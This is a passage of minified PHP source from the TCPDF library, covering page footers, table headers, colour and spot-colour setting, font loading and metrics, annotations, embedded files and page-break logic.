");if($this->print_footer){$this->setGraphicVars($this->default_graphic_vars);$this->current_column=0;$this->num_columns=1;$temp_thead=$this->thead;$temp_theadMargins=$this->theadMargins;$lasth=$this->lasth;$this->_outSaveGraphicsState();$this->rMargin=$this->original_rMargin;$this->lMargin=$this->original_lMargin;$this->SetCellPadding(0);$footer_y=$this->h-$this->footer_margin;if($this->rtl){$this->SetXY($this->original_rMargin,$footer_y);}else {$this->SetXY($this->original_lMargin,$footer_y);}$this->SetFont($this->footer_font[0],$this->footer_font[1],$this->footer_font[2]);$this->Footer();if($this->rtl){$this->SetXY($this->original_rMargin,$this->tMargin);}else {$this->SetXY($this->original_lMargin,$this->tMargin);}$this->_outRestoreGraphicsState();$this->lasth=$lasth;$this->thead=$temp_thead;$this->theadMargins=$temp_theadMargins;}$this->setGraphicVars($gvars);$this->current_column=$gvars['current_column'];$this->num_columns=$gvars['num_columns'];$this->footerlen[$this->page]=$this->pagelen[$this->page]-$this->footerpos[$this->page]+1;$this->InFooter=false;} function inPageBody(){return (($this->InHeader===false) AND ($this->InFooter===false));} function setTableHeader(){if($this->num_columns>1){return;}if(isset($this->theadMargins['top'])){$this->tMargin=$this->theadMargins['top'];$this->pagedim[$this->page]['tm']=$this->tMargin;$this->y=$this->tMargin;}if(!TCPDF_STATIC::empty_string($this->thead) AND (!$this->inthead)){$prev_lMargin=$this->lMargin;$prev_rMargin=$this->rMargin;$prev_cell_padding=$this->cell_padding;$this->lMargin=$this->theadMargins['lmargin']+($this->pagedim[$this->page]['olm']-$this->pagedim[$this->theadMargins['page']]['olm']);$this->rMargin=$this->theadMargins['rmargin']+($this->pagedim[$this->page]['orm']-$this->pagedim[$this->theadMargins['page']]['orm']);$this->cell_padding=$this->theadMargins['cell_padding'];if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}if($this->theadMargins['cell']){if($this->rtl){$this->x-=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];}}$gvars=$this->getGraphicVars();if(!empty($this->theadMargins['gvars'])){$this->setGraphicVars($this->theadMargins['gvars']);$this->rMargin=$gvars['rMargin'];$this->lMargin=$gvars['lMargin'];}$this->writeHTML($this->thead,false,false,false,false,'');$this->setGraphicVars($gvars);if(!isset($this->theadMargins['top'])){$this->theadMargins['top']=$this->tMargin;}if(!isset($this->columns[0]['th'])){$this->columns[0]['th']=array();}$this->columns[0]['th']['\''.$this->page.'\'']=$this->y;$this->tMargin=$this->y;$this->pagedim[$this->page]['tm']=$this->tMargin;$this->lasth=0;$this->lMargin=$prev_lMargin;$this->rMargin=$prev_rMargin;$this->cell_padding=$prev_cell_padding;}} function PageNo(){return $this->page;} function getAllSpotColors(){return $this->spot_colors;} function AddSpotColor($name,$c,$m,$y,$k){if(!isset($this->spot_colors[$name])){$i=(1+count($this->spot_colors));$this->spot_colors[$name]=array('C'=>$c,'M'=>$m,'Y'=>$y,'K'=>$k,'name'=>$name,'i'=>$i);}} function setSpotColor($type,$name,$tint=100){$spotcolor=TCPDF_COLORS::getSpotColor($name,$this->spot_colors);if($spotcolor===false){$this->Error('Undefined spot color: '.$name.', you must add it using the AddSpotColor() method.');}$tint=(max(0,min(100,$tint))/100);$pdfcolor=sprintf('/CS%d ',$this->spot_colors[$name]['i']);switch($type){case 'draw':{$pdfcolor.=sprintf('CS %F SCN',$tint);$this->DrawColor=$pdfcolor;$this->strokecolor=$spotcolor;break;}case 'fill':{$pdfcolor.=sprintf('cs %F scn',$tint);$this->FillColor=$pdfcolor;$this->bgcolor=$spotcolor;break;}case 'text':{$pdfcolor.=sprintf('cs %F scn',$tint);$this->TextColor=$pdfcolor;$this->fgcolor=$spotcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if($this->state==2){$this->_out($pdfcolor);}if($this->inxobj){$this->xobjects[$this->xobjid]['spot_colors'][$name]=$this->spot_colors[$name];}return $pdfcolor;} function SetDrawSpotColor($name,$tint=100){$this->setSpotColor('draw',$name,$tint);} function SetFillSpotColor($name,$tint=100){$this->setSpotColor('fill',$name,$tint);} function SetTextSpotColor($name,$tint=100){$this->setSpotColor('text',$name,$tint);} function setColorArray($type,$color,$ret=false){if(is_array($color)){$color=array_values($color);$c=isset($color[0])?$color[0]:-1;$m=isset($color[1])?$color[1]:-1;$y=isset($color[2])?$color[2]:-1;$k=isset($color[3])?$color[3]:-1;$name=isset($color[4])?$color[4]:'';if($c>=0){return $this->setColor($type,$c,$m,$y,$k,$ret,$name);}}return '';} function SetDrawColorArray($color,$ret=false){return $this->setColorArray('draw',$color,$ret);} function SetFillColorArray($color,$ret=false){return $this->setColorArray('fill',$color,$ret);} function SetTextColorArray($color,$ret=false){return $this->setColorArray('text',$color,$ret);} function setColor($type,$col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){if(!is_numeric($col1)){$col1=0;}if(!is_numeric($col2)){$col2=-1;}if(!is_numeric($col3)){$col3=-1;}if(!is_numeric($col4)){$col4=-1;}$suffix='';if(($col2==-1) AND ($col3==-1) AND ($col4==-1)){$col1=max(0,min(255,$col1));$intcolor=array('G'=>$col1);$pdfcolor=sprintf('%F ',($col1/255));$suffix='g';}elseif($col4==-1){$col1=max(0,min(255,$col1));$col2=max(0,min(255,$col2));$col3=max(0,min(255,$col3));$intcolor=array('R'=>$col1,'G'=>$col2,'B'=>$col3);$pdfcolor=sprintf('%F %F %F ',($col1/255),($col2/255),($col3/255));$suffix='rg';}else {$col1=max(0,min(100,$col1));$col2=max(0,min(100,$col2));$col3=max(0,min(100,$col3));$col4=max(0,min(100,$col4));if(empty($name)){$intcolor=array('C'=>$col1,'M'=>$col2,'Y'=>$col3,'K'=>$col4);$pdfcolor=sprintf('%F %F %F %F ',($col1/100),($col2/100),($col3/100),($col4/100));$suffix='k';}else {$intcolor=array('C'=>$col1,'M'=>$col2,'Y'=>$col3,'K'=>$col4,'name'=>$name);$this->AddSpotColor($name,$col1,$col2,$col3,$col4);$pdfcolor=$this->setSpotColor($type,$name,100);}}switch($type){case 'draw':{$pdfcolor.=strtoupper($suffix);$this->DrawColor=$pdfcolor;$this->strokecolor=$intcolor;break;}case 'fill':{$pdfcolor.=$suffix;$this->FillColor=$pdfcolor;$this->bgcolor=$intcolor;break;}case 'text':{$pdfcolor.=$suffix;$this->TextColor=$pdfcolor;$this->fgcolor=$intcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if(($type!='text') AND ($this->state==2)){if(!$ret){$this->_out($pdfcolor);}return $pdfcolor;}return '';} function SetDrawColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('draw',$col1,$col2,$col3,$col4,$ret,$name);} function SetFillColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('fill',$col1,$col2,$col3,$col4,$ret,$name);} function SetTextColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('text',$col1,$col2,$col3,$col4,$ret,$name);} function GetStringWidth($s,$fontname='',$fontstyle='',$fontsize=0,$getarray=false){return $this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont),$s,$this->tmprtl,$this->isunicode,$this->CurrentFont),$fontname,$fontstyle,$fontsize,$getarray);} function GetArrStringWidth($sa,$fontname='',$fontstyle='',$fontsize=0,$getarray=false){if(!TCPDF_STATIC::empty_string($fontname)){$prev_FontFamily=$this->FontFamily;$prev_FontStyle=$this->FontStyle;$prev_FontSizePt=$this->FontSizePt;$this->SetFont($fontname,$fontstyle,$fontsize,'','default',false);}if($this->isunicode AND (!$this->isUnicodeFont())){$sa=TCPDF_FONTS::UTF8ArrToLatin1Arr($sa);}$w=0;$wa=array();foreach($sa as $ck=>$char){$cw=$this->GetCharWidth($char,isset($sa[($ck+1)]));$wa[]=$cw;$w+=$cw;}if(!TCPDF_STATIC::empty_string($fontname)){$this->SetFont($prev_FontFamily,$prev_FontStyle,$prev_FontSizePt,'','default',false);}if($getarray){return $wa;}return $w;} function GetCharWidth($char,$notlast=true){$chw=$this->getRawCharWidth($char);if(($this->font_spacing<0) OR (($this->font_spacing>0) AND $notlast)){$chw+=$this->font_spacing;}if($this->font_stretching!=100){$chw*=($this->font_stretching/100);}return $chw;} function getRawCharWidth($char){if($char==173){return (0);}if(isset($this->CurrentFont['cw'][$char])){$w=$this->CurrentFont['cw'][$char];}elseif(isset($this->CurrentFont['dw'])){$w=$this->CurrentFont['dw'];}elseif(isset($this->CurrentFont['cw'][32])){$w=$this->CurrentFont['cw'][32];}else {$w=600;}return $this->getAbsFontMeasure($w);} function GetNumChars($s){if($this->isUnicodeFont()){return count(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont));}return strlen($s);} function AddFont($family,$style='',$fontfile='',$subset='default'){if($subset==='default'){$subset=$this->font_subsetting;}if($this->pdfa_mode){$subset=false;}if(TCPDF_STATIC::empty_string($family)){if(!TCPDF_STATIC::empty_string($this->FontFamily)){$family=$this->FontFamily;}else {$this->Error('Empty font family');}}if(substr($family,-1)=='I'){$style.='I';$family=substr($family,0,-1);}if(substr($family,-1)=='B'){$style.='B';$family=substr($family,0,-1);}$family=strtolower($family);if((!$this->isunicode) AND ($family=='arial')){$family='helvetica';}if(($family=='symbol') OR ($family=='zapfdingbats')){$style='';}if($this->pdfa_mode AND (isset($this->CoreFonts[$family]))){$family='pdfa'.$family;}$tempstyle=strtoupper($style);$style='';if(strpos($tempstyle,'U')!==false){$this->underline=true;}else {$this->underline=false;}if(strpos($tempstyle,'D')!==false){$this->linethrough=true;}else {$this->linethrough=false;}if(strpos($tempstyle,'O')!==false){$this->overline=true;}else {$this->overline=false;}if(strpos($tempstyle,'B')!==false){$style.='B';}if(strpos($tempstyle,'I')!==false){$style.='I';}$bistyle=$style;$fontkey=$family.$style;$font_style=$style.($this->underline?'U':'').($this->linethrough?'D':'').($this->overline?'O':'');$fontdata=array('fontkey'=>$fontkey,'family'=>$family,'style'=>$font_style);$fb=$this->getFontBuffer($fontkey);if($fb!==false){if($this->inxobj){$this->xobjects[$this->xobjid]['fonts'][$fontkey]=$fb['i'];}return $fontdata;}$fontdir=false;if(!TCPDF_STATIC::empty_string($fontfile)){$fontdir=dirname($fontfile);if(TCPDF_STATIC::empty_string($fontdir) OR ($fontdir=='.')){$fontdir='';}else {$fontdir.='/';}}$missing_style=false;if(TCPDF_STATIC::empty_string($fontfile) OR (!@file_exists($fontfile))){$tmp_fontfile=str_replace(' ','',$family).strtolower($style).'.php';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$missing_style=true;$tmp_fontfile=str_replace(' ','',$family).'.php';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);}}$type='core';$name='Helvetica';$up=-100;$ut=50;$dw=513;$diff='';$enc='';$desc=array('Flags'=>32,'FontBBox'=>'[-166 -225 1000 931]','ItalicAngle'=>0,'Ascent'=>931,'Descent'=>-225,'Leading'=>0,'CapHeight'=>718,'XHeight'=>523,'StemV'=>88,'StemH'=>76,'AvgWidth'=>513,'MaxWidth'=>1015,'MissingWidth'=>513);$cw=array(0=>500,1=>500,2=>500,3=>500,4=>500,5=>500,6=>500,7=>500,8=>500,9=>500,10=>500,11=>500,12=>500,13=>500,14=>500,15=>500,16=>500,17=>500,18=>500,19=>500,20=>500,21=>500,22=>500,23=>500,24=>500,25=>500,26=>500,27=>500,28=>500,29=>500,30=>500,31=>500,32=>278,33=>278,34=>355,35=>556,36=>556,37=>889,38=>667,39=>191,40=>333,41=>333,42=>389,43=>584,44=>278,45=>333,46=>278,47=>278,48=>556,49=>556,50=>556,51=>556,52=>556,53=>556,54=>556,55=>556,56=>556,57=>556,58=>278,59=>278,60=>584,61=>584,62=>584,63=>556,64=>1015,65=>667,66=>667,67=>722,68=>722,69=>667,70=>611,71=>778,72=>722,73=>278,74=>500,75=>667,76=>556,77=>833,78=>722,79=>778,80=>667,81=>778,82=>722,83=>667,84=>611,85=>722,86=>667,87=>944,88=>667,89=>667,90=>611,91=>278,92=>278,93=>277,94=>469,95=>556,96=>333,97=>556,98=>556,99=>500,100=>556,101=>556,102=>278,103=>556,104=>556,105=>222,106=>222,107=>500,108=>222,109=>833,110=>556,111=>556,112=>556,113=>556,114=>333,115=>500,116=>278,117=>556,118=>500,119=>722,120=>500,121=>500,122=>500,123=>334,124=>260,125=>334,126=>584,127=>500,128=>655,129=>500,130=>222,131=>278,132=>333,133=>1000,134=>556,135=>556,136=>333,137=>1000,138=>667,139=>250,140=>1000,141=>500,142=>611,143=>500,144=>500,145=>222,146=>221,147=>333,148=>333,149=>350,150=>556,151=>1000,152=>333,153=>1000,154=>500,155=>250,156=>938,157=>500,158=>500,159=>667,160=>278,161=>278,162=>556,163=>556,164=>556,165=>556,166=>260,167=>556,168=>333,169=>737,170=>370,171=>448,172=>584,173=>333,174=>737,175=>333,176=>606,177=>584,178=>350,179=>350,180=>333,181=>556,182=>537,183=>278,184=>333,185=>350,186=>365,187=>448,188=>869,189=>869,190=>879,191=>556,192=>667,193=>667,194=>667,195=>667,196=>667,197=>667,198=>1000,199=>722,200=>667,201=>667,202=>667,203=>667,204=>278,205=>278,206=>278,207=>278,208=>722,209=>722,210=>778,211=>778,212=>778,213=>778,214=>778,215=>584,216=>778,217=>722,218=>722,219=>722,220=>722,221=>667,222=>666,223=>611,224=>556,225=>556,226=>556,227=>556,228=>556,229=>556,230=>896,231=>500,232=>556,233=>556,234=>556,235=>556,236=>251,237=>251,238=>251,239=>251,240=>556,241=>556,242=>556,243=>556,244=>556,245=>556,246=>556,247=>584,248=>611,249=>556,250=>556,251=>556,252=>556,253=>500,254=>555,255=>500);if((!isset($type)) OR (!isset($cw))){$this->Error('The font definition file has a bad format: '.$fontfile.'');}if(!isset($file) OR TCPDF_STATIC::empty_string($file)){$file='';}if(!isset($enc) OR TCPDF_STATIC::empty_string($enc)){$enc='';}if(!isset($cidinfo) OR TCPDF_STATIC::empty_string($cidinfo)){$cidinfo=array('Registry'=>'Adobe','Ordering'=>'Identity','Supplement'=>0);$cidinfo['uni2cid']=array();}if(!isset($ctg) OR TCPDF_STATIC::empty_string($ctg)){$ctg='';}if(!isset($desc) OR TCPDF_STATIC::empty_string($desc)){$desc=array();}if(!isset($up) OR TCPDF_STATIC::empty_string($up)){$up=-100;}if(!isset($ut) OR TCPDF_STATIC::empty_string($ut)){$ut=50;}if(!isset($cw) OR TCPDF_STATIC::empty_string($cw)){$cw=array();}if(!isset($dw) OR TCPDF_STATIC::empty_string($dw)){if(isset($desc['MissingWidth']) AND ($desc['MissingWidth']>0)){$dw=$desc['MissingWidth'];}elseif(isset($cw[32])){$dw=$cw[32];}else {$dw=600;}}++$this->numfonts;if($type=='core'){$name=$this->CoreFonts[$fontkey];$subset=false;}elseif(($type=='TrueType') OR ($type=='Type1')){$subset=false;}elseif($type=='TrueTypeUnicode'){$enc='Identity-H';}elseif($type=='cidfont0'){if($this->pdfa_mode){$this->Error('All fonts must be embedded in PDF/A mode!');}}else {$this->Error('Unknow font type: '.$type.'');}if(!isset($name) OR empty($name)){$name=$fontkey;}if(($type!='core') AND $missing_style){$styles=array(''=>'','B'=>',Bold','I'=>',Italic','BI'=>',BoldItalic');$name.=$styles[$bistyle];if(strpos($bistyle,'B')!==false){if(isset($desc['StemV'])){$desc['StemV']=round($desc['StemV']*1.75);}else {$desc['StemV']=123;}}if(strpos($bistyle,'I')!==false){if(isset($desc['ItalicAngle'])){$desc['ItalicAngle']-=11;}else {$desc['ItalicAngle']=-11;}if(isset($desc['Flags'])){$desc['Flags']|=64;}else {$desc['Flags']=64;}}}if(!isset($cbbox)){$cbbox=array();}$subsetchars=array_fill(0,255,true);$this->setFontBuffer($fontkey,array('fontkey'=>$fontkey,'i'=>$this->numfonts,'type'=>$type,'name'=>$name,'desc'=>$desc,'up'=>$up,'ut'=>$ut,'cw'=>$cw,'cbbox'=>$cbbox,'dw'=>$dw,'enc'=>$enc,'cidinfo'=>$cidinfo,'file'=>$file,'ctg'=>$ctg,'subset'=>$subset,'subsetchars'=>$subsetchars));if($this->inxobj){$this->xobjects[$this->xobjid]['fonts'][$fontkey]=$this->numfonts;}if(isset($diff) AND (!empty($diff))){$d=0;$nb=count($this->diffs);for($i=1;$i<=$nb;++$i){if($this->diffs[$i]==$diff){$d=$i;break;}}if($d==0){$d=$nb+1;$this->diffs[$d]=$diff;}$this->setFontSubBuffer($fontkey,'diff',$d);}if(!TCPDF_STATIC::empty_string($file)){if(!isset($this->FontFiles[$file])){if((strcasecmp($type,'TrueType')==0) OR (strcasecmp($type,'TrueTypeUnicode')==0)){$this->FontFiles[$file]=array('length1'=>$originalsize,'fontdir'=>$fontdir,'subset'=>$subset,'fontkeys'=>array($fontkey));}elseif($type!='core'){$this->FontFiles[$file]=array('length1'=>$size1,'length2'=>$size2,'fontdir'=>$fontdir,'subset'=>$subset,'fontkeys'=>array($fontkey));}}else {$this->FontFiles[$file]['subset']=($this->FontFiles[$file]['subset'] AND $subset);if(!in_array($fontkey,$this->FontFiles[$file]['fontkeys'])){$this->FontFiles[$file]['fontkeys'][]=$fontkey;}}}return $fontdata;} function SetFont($family,$style='',$size=null,$fontfile='',$subset='default',$out=true){if($size===null){$size=$this->FontSizePt;}if($size<0){$size=0;}$fontdata=$this->AddFont($family,$style,$fontfile,$subset);$this->FontFamily=$fontdata['family'];$this->FontStyle=$fontdata['style'];if(isset($this->CurrentFont['fontkey']) AND isset($this->CurrentFont['subsetchars'])){$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$this->CurrentFont=$this->getFontBuffer($fontdata['fontkey']);$this->SetFontSize($size,$out);} function SetFontSize($size,$out=true){$this->FontSizePt=$size;$this->FontSize=$size/$this->k;if(isset($this->CurrentFont['desc']['FontBBox'])){$bbox=explode(' ',substr($this->CurrentFont['desc']['FontBBox'],1,-1));$font_height=((intval($bbox[3])-intval($bbox[1]))*$size/1000);}else {$font_height=$size*1.219;}if(isset($this->CurrentFont['desc']['Ascent']) AND ($this->CurrentFont['desc']['Ascent']>0)){$font_ascent=($this->CurrentFont['desc']['Ascent']*$size/1000);}if(isset($this->CurrentFont['desc']['Descent']) AND ($this->CurrentFont['desc']['Descent']<=0)){$font_descent=(-$this->CurrentFont['desc']['Descent']*$size/1000);}if(!isset($font_ascent) AND !isset($font_descent)){$font_ascent=0.76*$font_height;$font_descent=$font_height-$font_ascent;}elseif(!isset($font_descent)){$font_descent=$font_height-$font_ascent;}elseif(!isset($font_ascent)){$font_ascent=$font_height-$font_descent;}$this->FontAscent=($font_ascent/$this->k);$this->FontDescent=($font_descent/$this->k);if($out AND ($this->page>0) AND (isset($this->CurrentFont['i'])) AND ($this->state==2)){$this->_out(sprintf('BT /F%d %F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));}} function getFontBBox(){$fbbox=array();if(isset($this->CurrentFont['desc']['FontBBox'])){$tmpbbox=explode(' ',substr($this->CurrentFont['desc']['FontBBox'],1,-1));$fbbox=array_map(array($this,'getAbsFontMeasure'),$tmpbbox);}else {if(isset($this->CurrentFont['desc']['MaxWidth'])){$maxw=$this->getAbsFontMeasure(intval($this->CurrentFont['desc']['MaxWidth']));}else {$maxw=0;if(isset($this->CurrentFont['desc']['MissingWidth'])){$maxw=max($maxw,$this->CurrentFont['desc']['MissingWidth']);}if(isset($this->CurrentFont['desc']['AvgWidth'])){$maxw=max($maxw,$this->CurrentFont['desc']['AvgWidth']);}if(isset($this->CurrentFont['dw'])){$maxw=max($maxw,$this->CurrentFont['dw']);}foreach($this->CurrentFont['cw'] as $char=>$w){$maxw=max($maxw,$w);}if($maxw==0){$maxw=600;}$maxw=$this->getAbsFontMeasure($maxw);}$fbbox=array(0,(0-$this->FontDescent),$maxw,$this->FontAscent);}return $fbbox;} function getAbsFontMeasure($s){return ($s*$this->FontSize/1000);} function getCharBBox($char){$c=intval($char);if(isset($this->CurrentFont['cw'][$c])){$result=array(0,0,0,0);if(isset($this->CurrentFont['cbbox'][$c])){$result=$this->CurrentFont['cbbox'][$c];}return array_map(array($this,'getAbsFontMeasure'),$result);}return false;} function getFontDescent($font,$style='',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);if(isset($fontinfo['desc']['Descent']) AND ($fontinfo['desc']['Descent']<=0)){$descent=(-$fontinfo['desc']['Descent']*$size/1000);}else {$descent=(1.219*0.24*$size);}return ($descent/$this->k);} function getFontAscent($font,$style='',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);if(isset($fontinfo['desc']['Ascent']) AND ($fontinfo['desc']['Ascent']>0)){$ascent=($fontinfo['desc']['Ascent']*$size/1000);}else {$ascent=1.219*0.76*$size;}return ($ascent/$this->k);} function isCharDefined($char,$font='',$style=''){if(is_string($char)){$char=TCPDF_FONTS::UTF8StringToArray($char,$this->isunicode,$this->CurrentFont);$char=$char[0];}if(TCPDF_STATIC::empty_string($font)){if(TCPDF_STATIC::empty_string($style)){return (isset($this->CurrentFont['cw'][intval($char)]));}$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);return (isset($fontinfo['cw'][intval($char)]));} function replaceMissingChars($text,$font='',$style='',$subs=array()){if(empty($subs)){return $text;}if(TCPDF_STATIC::empty_string($font)){$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);$uniarr=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($uniarr as $k=>$chr){if(!isset($fontinfo['cw'][$chr])){if(isset($subs[$chr])){if(is_array($subs[$chr])){foreach($subs[$chr] as $s){if(isset($fontinfo['cw'][$s])){$uniarr[$k]=$s;break;}}}elseif(isset($fontinfo['cw'][$subs[$chr]])){$uniarr[$k]=$subs[$chr];}}}}return TCPDF_FONTS::UniArrSubString(TCPDF_FONTS::UTF8ArrayToUniArray($uniarr,$this->isunicode));} function SetDefaultMonospacedFont($font){$this->default_monospaced_font=$font;} function AddLink(){$n=count($this->links)+1;$this->links[$n]=array('p'=>0,'y'=>0,'f'=>false);return $n;} function SetLink($link,$y=0,$page=-1){$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if($page<0){$page=$this->page;}if($y==-1){$y=$this->y;}$this->links[$link]=array('p'=>$page,'y'=>$y,'f'=>$fixed);} function Link($x,$y,$w,$h,$link,$spaces=0){$this->Annotation($x,$y,$w,$h,$link,array('Subtype'=>'Link'),$spaces);} function Annotation($x,$y,$w,$h,$text,$opt=array('Subtype'=>'Text'),$spaces=0){if($this->inxobj){$this->xobjects[$this->xobjid]['annotations'][]=array('x'=>$x,'y'=>$y,'w'=>$w,'h'=>$h,'text'=>$text,'opt'=>$opt,'spaces'=>$spaces);return;}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if(isset($this->transfmatrix) AND !empty($this->transfmatrix)){for($i=$this->transfmatrix_key;$i>0;--$i){$maxid=count($this->transfmatrix[$i])-1;for($j=$maxid;$j>=0;--$j){$ctm=$this->transfmatrix[$i][$j];if(isset($ctm['a'])){$x=$x*$this->k;$y=($this->h-$y)*$this->k;$w=$w*$this->k;$h=$h*$this->k;$xt=$x;$yt=$y;$x1=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y1=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x+$w;$yt=$y;$x2=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y2=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x;$yt=$y-$h;$x3=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y3=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x+$w;$yt=$y-$h;$x4=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y4=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$x=min($x1,$x2,$x3,$x4);$y=max($y1,$y2,$y3,$y4);$w=(max($x1,$x2,$x3,$x4)-$x)/$this->k;$h=($y-min($y1,$y2,$y3,$y4))/$this->k;$x=$x/$this->k;$y=$this->h-($y/$this->k);}}}}if($this->page<=0){$page=1;}else {$page=$this->page;}if(!isset($this->PageAnnots[$page])){$this->PageAnnots[$page]=array();}$this->PageAnnots[$page][]=array('n'=>++$this->n,'x'=>$x,'y'=>$y,'w'=>$w,'h'=>$h,'txt'=>$text,'opt'=>$opt,'numspaces'=>$spaces);if(!$this->pdfa_mode){if((($opt['Subtype']=='FileAttachment') OR ($opt['Subtype']=='Sound')) AND (!TCPDF_STATIC::empty_string($opt['FS'])) AND (@file_exists($opt['FS']) OR TCPDF_STATIC::isValidURL($opt['FS'])) AND (!isset($this->embeddedfiles[basename($opt['FS'])]))){$this->embeddedfiles[basename($opt['FS'])]=array('f'=>++$this->n,'n'=>++$this->n,'file'=>$opt['FS']);}}if(isset($opt['mk']['i']) AND @file_exists($opt['mk']['i'])){$this->Image($opt['mk']['i'],'','',10,10,'','','',false,300,'',false,false,0,false,true);}if(isset($opt['mk']['ri']) AND @file_exists($opt['mk']['ri'])){$this->Image($opt['mk']['ri'],'','',0,0,'','','',false,300,'',false,false,0,false,true);}if(isset($opt['mk']['ix']) AND @file_exists($opt['mk']['ix'])){$this->Image($opt['mk']['ix'],'','',0,0,'','','',false,300,'',false,false,0,false,true);}} function _putEmbeddedFiles(){if($this->pdfa_mode){return;}reset($this->embeddedfiles);foreach($this->embeddedfiles as $filename=>$filedata){$data=TCPDF_STATIC::fileGetContents($filedata['file']);if($data!==FALSE){$rawsize=strlen($data);if($rawsize>0){$this->efnames[$filename]=$filedata['f'].' 0 R';$out=$this->_getobj($filedata['f'])."
";$out.='<</Type /Filespec /F '.$this->_datastring($filename,$filedata['f']).' /EF <</F '.$filedata['n'].' 0 R>> >>';$out.="
".'endobj';$this->_out($out);$filter='';if($this->compress){$data=gzcompress($data);$filter=' /Filter /FlateDecode';}$stream=$this->_getrawstream($data,$filedata['n']);$out=$this->_getobj($filedata['n'])."
";$out.='<< /Type /EmbeddedFile'.$filter.' /Length '.strlen($stream).' /Params <</Size '.$rawsize.'>> >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}}} function Text($x,$y,$txt,$fstroke=false,$fclip=false,$ffill=true,$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M',$rtloff=false){$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($fstroke,$ffill,$fclip);$this->SetXY($x,$y,$rtloff);$this->Cell(0,0,$txt,$border,$ln,$align,$fill,$link,$stretch,$ignore_min_height,$calign,$valign);$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;} function AcceptPageBreak(){if($this->num_columns>1){if($this->current_column<($this->num_columns-1)){$this->selectColumn($this->current_column+1);}elseif($this->AutoPageBreak){$this->AddPage();$this->selectColumn(0);}return false;}return $this->AutoPageBreak;} function checkPageBreak($h=0,$y='',$addpage=true){if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$current_page=$this->page;if((($y+$h)>$this->PageBreakTrigger) AND ($this->inPageBody()) AND ($this->AcceptPageBreak())){if($addpage){$x=$this->x;$this->AddPage($this->CurOrientation);$this->y=$this->tMargin;$oldpage=$this->page-1;if($this->rtl){if($this->pagedim[$this->page]['orm']!=$this->pagedim[$oldpage]['orm']){$this->x=$x-($this->pagedim[$this->page]['orm']-$this->pagedim[$oldpage]['orm']);}else {$this->x=$x;}}else {if($this->pagedim[$this->page]['olm']!=$this->pagedim[$oldpage]['olm']){$this->x=$x+($this->pagedim[$this->page]['olm']-$this->pagedim[$oldpage]['olm']);}else {$this->x=$x;}}}return true;}if($current_page!=$this->page){return true;}return false;} function Cell($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M'){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$this->checkPageBreak($h+$this->cell_margin['T']+$this->cell_margin['B']);if($this->txtshadow['enabled']){$x=$this->x;$y=$this->y;$bc=$this->bgcolor;$fc=$this->fgcolor;$sc=$this->strokecolor;$alpha=$this->alpha;$this->x+=$this->txtshadow['depth_w'];$this->y+=$this->txtshadow['depth_h'];$this->SetFillColorArray($this->txtshadow['color']);$this->SetTextColorArray($this->txtshadow['color']);$this->SetDrawColorArray($this->txtshadow['color']);if($this->txtshadow['opacity']!=$alpha['CA']){$this->setAlpha($this->txtshadow['opacity'],$this->txtshadow['blend_mode']);}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->x=$x;$this->y=$y;$this->SetFillColorArray($bc);$this->SetTextColorArray($fc);$this->SetDrawColorArray($sc);if($this->txtshadow['opacity']!=$alpha['CA']){$this->setAlpha($alpha['CA'],$alpha['BM'],$alpha['ca'],$alpha['AIS']);}}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->cell_padding=$prev_cell_p